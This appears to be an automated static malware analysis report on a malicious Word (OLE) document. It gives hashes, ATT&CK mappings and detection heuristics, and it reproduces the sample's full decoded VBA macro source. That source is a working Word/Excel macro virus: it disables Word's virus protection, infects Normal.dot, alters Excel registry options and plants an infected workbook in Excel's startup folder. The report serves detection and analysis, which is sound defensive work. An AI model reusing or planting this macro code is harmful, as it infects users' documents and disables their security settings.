Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bb7f98c898c071ad…

MALICIOUS

Office (OLE)

36.5 KB Created: 2001-09-10 16:09:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 453599ef6184a2484cf6f8f44dbe25bf SHA-1: e298c203f82bb1e74b8819b00f5f002c0e15b671 SHA-256: bb7f98c898c071ad368a4761e709b594fa9c5f91a43fbe3b4d4acc765a1ac2f7
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1554 Inhibit System Recovery

The sample contains VBA macros, including a Document_Open macro that attempts to disable virus protection and inject its code into the Normal.dot template. This suggests an attempt to achieve persistence by ensuring the malicious code runs with subsequent Word document openings. The script also attempts to interact with Excel, though its exact purpose in that context is unclear.

Heuristics 7

  • ClamAV: Heuristics.Macro.DisableVirusProtection-6136181-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.Macro.DisableVirusProtection-6136181-1
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    '        Set WordObj = GetObject(, "Word.Application")
 '      If WordObj = "" Then Set WordObj = CreateObject("Word.Application"):FlagUnload = True
  '     Set NT = WordObj.NormalTemplate.VBProject.VBComponents(1).CodeModule
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    If IsObject(WScript) Then
'        Set WordObj = GetObject(, "Word.Application")
 '      If WordObj = "" Then Set WordObj = CreateObject("Word.Application"):FlagUnload = True
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Sub
Private Sub Document_Open()
    On Error Resume Next

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3896 bytes
SHA-256: af0d566fb642c2adb83de4e033c2779c31674e2b230429bf046513e333c13018
Detection
ClamAV: Win.Trojan.Insert-9
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Start()
    On Error Resume Next
If IsObject(WScript) Then
'        Set WordObj = GetObject(, "Word.Application")
 '      If WordObj = "" Then Set WordObj = CreateObject("Word.Application"):FlagUnload = True
  '     Set NT = WordObj.NormalTemplate.VBProject.VBComponents(1).CodeModule
   '    NT.DeleteLines 1, NT.CountOfLines: NT.AddFromFile (WScript.ScriptFullName)
    '    if FlagUnload = True then Wordobj.quit
     '   Set NT = Nothing: Set WordObj = Nothing

    Set xlApp = CreateObject("Excel.Application")
    Set FSO = CreateObject("Scripting.FileSystemObject")
MsgBox "1"
    If Not FSO.FileExists(xlApp.Application.StartupPath + "\Book1.") Then
MsgBox "2"
    Set Book1Obj = xlApp.Workbooks.Add: Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.AddFromFile (WScript.ScriptFullName)
MsgBox "3"
    Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
MsgBox "4"
    End If
    xlApp.Quit: Set FSO = Nothing
End If
MsgBox "@"
End Sub
Private Sub Document_Open()
    On Error Resume Next
    Application.Options.VirusProtection = False: Application.Options.SaveNormalPrompt = False: Options.ConfirmConversions = False
    Set AD = Application.ActiveDocument.VBProject.VBComponents(1).CodeModule: Set NT = Application.NormalTemplate.VBProject.VBComponents(1).CodeModule
    If InStr(NT.Lines(1, 1), "***") = 0 Then
        NT.InsertLines 1, AD.Lines(1, AD.CountOfLines)
    ElseIf InStr(AD.Lines(1, 1), "***") = 0 Then
        AD.InsertLines 1, NT.Lines(1, NT.CountOfLines)
    End If
    Set xlApp = CreateObject("Excel.Application")
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = ""
    System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
    System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = ""
    Set FSO = CreateObject("Scripting.FileSystemObject")
    If Not FSO.FileExists(xlApp.Application.StartupPath + "\Book1.") Then
    Set Book1Obj = xlApp.Workbooks.Add: Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountOfLines)
    Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
    End If
    xlApp.Quit: Set FSO = Nothing
End Sub
Private Sub Workbook_Deactivate()
    On Error Resume Next
    Set AW = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    Set TW = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    Set WordObj = GetObject(, "Word.Application")
    If WordObj = "" Then Set WordObj = CreateObject("Word.Application"): FlagUnload = True
    Set NT = WordObj.NormalTemplate.VBProject.VBComponents(1).CodeModule
    NT.DeleteLines 1, NT.CountOfLines: NT.InsertLines 1, TW.Lines(1, TW.CountOfLines)
    If FlagUnload = True Then WordObj.Quit
    Set NT = Nothing: Set WordObj = Nothing
    Set xlApp = CreateObject("Excel.Application")
    Set FSO = CreateObject("Scripting.FileSystemObject")
    If Not FSO.FileExists(xlApp.Application.StartupPath + "\Book1.") Then
        Set Book1Obj = xlApp.Workbooks.Add
        Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, TW.Lines(1, TW.CountOfLines)
        Book1Obj.SaveAs Application.StartupPath & "\Book1.", xlNormal, , , , , , , False
        xlApp.Quit: Set FSO = Nothing
    End If
    If InStr(AW.Lines(1, 1), "***") = 0 Then AW.InsertLines 1, TW.Lines(1, TW.CountOfLines)
End Sub

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